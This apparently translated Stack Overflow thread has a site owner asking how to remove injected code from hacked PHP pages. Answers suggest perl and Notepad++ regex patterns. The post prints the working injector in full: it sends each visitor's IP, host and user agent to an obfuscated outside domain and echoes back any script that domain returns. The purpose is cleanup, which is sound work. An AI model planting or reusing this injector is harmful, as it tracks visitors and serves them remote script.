记事本++擦除两者之间的任何东西......没有正则表达式?

Notepad++ erase anything in between.. without REGEX?

我在 GoDaddy 上的所有网站昨天都被黑了,并且在每个 PHP 页面中都插入了此代码。 :-(

<?php
#6278d7#
error_reporting(0); @ini_set('display_errors',0); $wp_krzr3 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_krzr3) && !preg_match ('/bot/i', $wp_krzr3))){
$wp_krzr093="http://"."html"."common".".com/"."common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_krzr3);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_krzr093); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_3krzr = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_3krzr = @file_get_contents($wp_krzr093);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_3krzr=@stream_get_contents(@fopen($wp_krzr093, "r"));}}
if (substr($wp_3krzr,1,3) === 'scr'){ echo $wp_3krzr; }
#/6278d7#
?>

我想删除第一个和最后一个 # 字符之间的所有内容并替换为任何内容,从而使此代码无效。

我试过使用文件夹搜索并替换为:

#.*#.*#.*#

还有这个

<?php.*#.*#.*#.*#.*?>

..因为.* 表示 "anything in between",对吗? (当我复制到我认为是换行符的搜索字段时,开始 php 语句后出现一些方框字符)

我很困惑。有什么帮助吗? Stack Overflow 是一个很好的资源顺便说一句,谢谢!

试试这个使用 perl 的正则表达式替换

perl -0777 -pe 's/#([0-9a-f]{6})#.+?#\/#/OK/s' < test.txt

如果您看到 "OK",它就可以正常工作

我假设恶意代码包含在某种 opening/closing 十六进制表示的标签中。

重要!!请在尝试之前进行备份!!

假设。 1. 代码结尾的十六进制数字总是 6 个字符长

在 Notepad++ 中使用正则表达式。你应该搜索这个: (#[0-f]{6}#)(.*)(#/[0-f]{6}#) 并替换为 ## 确保选中“.匹配换行符”选项。